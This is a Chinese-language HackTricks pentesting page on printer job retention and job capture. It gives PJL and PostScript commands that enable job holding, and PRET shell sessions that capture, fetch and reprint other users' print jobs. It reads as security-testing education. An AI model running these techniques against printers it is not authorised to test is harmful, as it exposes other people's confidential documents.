hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

7.8 KiB
Raw Blame History

从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

打印作业保留

某些打印机的存储打印作业可以通过Web服务器访问。通常打印作业保留必须为特定打印作业明确激活并且可以使用标准PJL命令或专有的PostScript代码完成。然后作业将保留在内存中并且可以从控制面板重新打印。

PJL

通过设置PJL HOLD变量可以为当前文档启用合法的打印作业保留如下所示

@PJL SET HOLD=ON
[actual data to be printed follows]

保留作业会被保存在内存中并且可以从打印机的控制面板重新打印。这个功能由多种打印机支持但似乎只有一些Epson设备允许使用@PJL DEFAULT HOLD=ON设置永久作业保留。

如何测试这种攻击?

使用PRET中的hold命令在pjl模式下检查是否可以设置永久作业保留

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScript 提供了类似的功能,但这些功能是特定于型号和供应商的。对于 HP LaserJet 4k 系列和各种 Kyocera 打印机,可以通过在 PostScript 文档前添加以下命令来启用打印作业保留功能:

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
虽然理论上可以使用[startjob](./#postscript-ps)操作符永久启用PostScript作业保留但是CUPS会在每个打印作业开始时使用`<< /Collate false >> setpagedevice`明确重置此设置。然而,攻击者可以永久重新定义`setpagedevice`操作符,使其完全不起作用。

**如何测试此攻击?**

使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令在ps模式下
./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

作业捕获

如上所述在打印对话框中激活作业保留是可能的但不常见。然而使用PostScript可以完全控制当前的打印作业并且使用startjob操作符甚至可以跳出服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序这样的功能有潜力捕获所有文档。

PostScript

通过能够挂钩任意PostScript操作符可以操纵和访问外部打印作业。为了解析实际发送到打印机的数据流可以利用PostScript语言的一个非常酷的特性使用currentfile操作符将其自己的程序代码作为数据读取。这样整个要被PostScript解释器处理的数据流可以通过读取访问并存储到打印机设备上的文件中。如果打印机不提供文件系统访问捕获的文档可以存储在内存中例如在永久PostScript字典中。
一个实际问题是决定应该挂钩哪个操作符因为在PostScript解释器处理这个操作符之前不会获得数据流的访问权限。由于攻击者希望从一开始就捕获打印作业重新定义的操作符必须是PostScript文档中的第一个操作符。幸运的是所有使用CUPS打印的文档都被压缩成一个固定结构开始于currentfile /ASCII85Decode filter /LZWDecode filter cvx exec。基于这样一个固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(也就是打印)文件。对于非CUPS的打印系统,这种攻击也应该是可能的,但是需要适配操作符。请注意使用这种方法无法捕获通常包括介质大小、用户和作业名称的PostScript头部因为我们首先在实际文档的开始处挂钩。另一个在每个打印作业开始时挂钩的通用策略是设置BeginPage系统参数如果打印机支持的话大多数打印机都支持。这个漏洞可能在打印设备中存在了几十年因为仅仅是滥用了PostScript标准定义的语言结构。

使用PRET中的capture命令在ps模式下

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

现在打印任意文档确保PRET已断开连接以免阻塞打印通道。之后您可以列出、获取或重新打印捕获的文档

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式: